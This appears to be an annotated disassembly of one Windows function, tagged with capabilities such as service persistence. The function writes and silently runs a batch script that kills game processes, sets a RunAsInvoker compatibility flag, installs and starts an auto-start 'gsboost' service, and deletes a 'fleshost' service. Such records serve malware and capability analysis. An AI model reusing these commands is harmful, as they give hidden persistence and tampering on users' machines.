Function at 0x10001220
Capabilities:
Create directory
Create process on windows
Delete file
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003ba7
mov eax, dword fs:[0]
push eax
sub esp, 0x364
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x350], 0
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1000139b
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x370]
call fcn.10002200
mov esi, eax
mov dword [ebp - 4], 0
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x100012d4
lea eax, [ecx + 8]
mov edi, esi
mov dword [ebp - 0x350], eax
mov dword [esi + 0x10], eax
cmp edx, 8
jb 0x100012b3
mov edi, dword [esi]
push 0x10
lea eax, [edi + ecx*2]
push str.gsboost
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x350]
add esp, 0xc
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x100012e8
push 8
push ecx
push dword [ebp - 0x350]
mov ecx, esi
push 8
call fcn.10002a40
mov esi, eax
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x230], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x220], xmm0
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x35c]
lea esi, [eax + 3]
cmp ecx, 8
jb 0x1000137c
mov edx, dword [ebp - 0x370]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001372
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001372
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002d5f
add esp, 8
xor eax, eax
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
jmp 0x100013b0
push 0x10004244
lea ecx, [ebp - 0x230]
call fcn.10002200
mov esi, 1
mov dword [ebp - 4], 3
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 8
push 0
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xb0
lea eax, [ebp - 0x2f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2f8], 0x1000451c
lea ecx, [ebp - 0x290]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x2f4]
mov byte [ebp - 4], 4
or esi, 4
lea ecx, [ebp - 0x2f8]
push eax
mov dword [ebp - 0x350], esi
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t_____bool_]
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x2f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2fc], eax
lea eax, [ebp - 0x2f4]
mov ecx, eax
mov dword [ebp - 0x354], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void_]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
mov dword [ebp - method.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov byte [ebp - 0x2ac], 0
mov byte [ebp - 0x2b6], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void_]
mov eax, dword [0x10006590]
mov ecx, dword [0x10006594]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], ecx
mov dword [ebp - 0x2bc], 0
push 0x40
push 2
push 0x10004248
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP140.dll_struct__iobuf____cdecl_std::_Fiopen_wchar_t_const___int__int_]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10001585
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 0x2ac], 1
mov byte [ebp - 0x2b6], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void_]
mov eax, dword [0x10006590]
mov ecx, dword [0x10006594]
mov dword [ebp - 0x2b4], eax
lea eax, [ebp - 0x358]
mov dword [ebp - 0x2b0], ecx
lea ecx, [ebp - 0x2f4]
push eax
mov dword [ebp - 0x2a8], esi
mov dword [ebp - 0x2bc], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::locale___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::getloc_void_]
mov ecx, eax
mov byte [ebp - 4], 8
call fcn.10002800
mov esi, eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::codecvt_base::always_noconv_void_const]
test al, al
je 0x10001552
mov dword [ebp - 0x2bc], 0
jmp 0x10001564
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 0x2bc], esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Init_void_]
mov ecx, dword [ebp - 0x354]
test ecx, ecx
je 0x1000159e
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x1000159e
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
jmp 0x1000159e
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
mov byte [ebp - 4], 9
cmp dword [ebp - 0x2a8], 0
je 0x10001787
mov edx, str._echo_off_n
lea ecx, [ebp - 0x2f8]
call fcn.100025c0
mov edx, str.taskkill__f__im__Fleshost.exe__n
mov ecx, eax
call fcn.100025c0
mov edx, str.taskkill__f__im__hl.exe__n
mov ecx, eax
call fcn.100025c0
mov edx, str.taskkill__f__im__cstrike.exe__n
mov ecx, eax
call fcn.100025c0
mov edx, str.powershell__Command__Set_Item__Path_env:__COMPAT_LAYER__Value_RunAsInvoker__n
mov ecx, eax
call fcn.100025c0
mov edx, str.sc_create_gsboost_binpath__
mov ecx, eax
call fcn.100025c0
cmp dword [ebp - 0x21c], 8
lea edx, [ebp - 0x230]
mov ecx, eax
cmovae edx, dword [ebp - 0x230]
call fcn.100025c0
mov edx, str.gsboost.exe__start_auto_n
mov ecx, eax
call fcn.100025c0
mov edx, str.sc_start_gsboost_n
mov ecx, eax
call fcn.100025c0
mov edx, str.sc_stop_fleshost_n
mov ecx, eax
call fcn.100025c0
mov edx, str.sc_delete_fleshost_n
mov ecx, eax
call fcn.100025c0
mov edx, str.end_file_n
mov ecx, eax
call fcn.100025c0
lea ecx, [ebp - 0x2f4]
call fcn.10002530
test eax, eax
jne 0x10001679
push eax
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
push 0x40
lea eax, [ebp - 0x338]
mov dword [ebp - 0x33c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [str.run.bat]
add esp, 0xc
mov dword [ebp - 0x248], eax
mov ax, word [0x100044c4]
mov word [ebp - 0x244], ax
mov al, byte [0x100044c6]
mov byte [ebp - 0x242], al
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x33c]
mov dword [ebp - 0x238], 7
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x248]
mov dword [ebp - 0x234], 0xf
push eax
push 0
mov byte [ebp - 0x241], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001728
push 0xffffffffffffffff
push dword [ebp - 0x34c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x34c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x348]
call esi
push str.run.cmd
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 0x234]
add esp, 4
cmp ecx, 0x10
jb 0x1000176c
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001762
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100017c4
push ecx
push edx
call fcn.10002d5f
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
lea ecx, [ebp - 0x2f8]
call fcn.100017f0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x100017d4
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100017ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100017ca
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002d5f
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002d1c
mov esp, ebp
pop ebp
ret